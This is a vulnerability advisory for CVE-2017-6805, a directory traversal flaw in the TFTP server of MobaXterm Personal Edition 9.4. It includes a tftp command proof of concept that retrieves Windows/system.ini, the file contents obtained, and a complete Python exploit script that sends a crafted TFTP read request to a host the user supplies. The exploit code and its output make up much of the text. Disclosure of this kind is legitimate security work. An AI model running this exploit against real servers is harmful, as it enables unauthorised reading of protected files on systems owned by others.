[+] Credits: John Page AKA hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt [+] ISR: ApparitionSec Vendor: ===================== mobaxterm.mobatek.net Product: =============================== MobaXterm Personal Edition v9.4 Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more. Vulnerability Type: ===================================== Path Traversal Remote File Disclosure CVE Reference: ============== CVE-2017-6805 Security Issue: ================ Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using directory traversal attacks e.g. ../../../../Windows/system.ini Start MobaXterm TFTP server which listens on default TFTP port 69. c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini Transfer successful: 219 bytes in 1 second(s), 219 bytes/s c:\xampp\htdocs>type system.ini ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv [mci] Victim Data located on: 127.0.0.1 POC URL: ============================= https://vimeo.com/207516364 Exploit: ========== import sys,socket print 'MobaXterm TFTP Directory Traversal 0day Exploit' print 'Read Windows/system.ini' print 'hyp3rlinx \n' HOST = raw_input("[IP]>") FILE = 'Windows/system.ini' PORT = 69 PAYLOAD = "\x00\x01" #TFTP Read PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal PAYLOAD += "netascii\x00" #TFTP Type s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(PAYLOAD, (HOST, PORT)) out = s.recv(1024) s.close() print "Victim Data located on : %s " %(HOST) print out.strip() Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: No Reply March 10, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
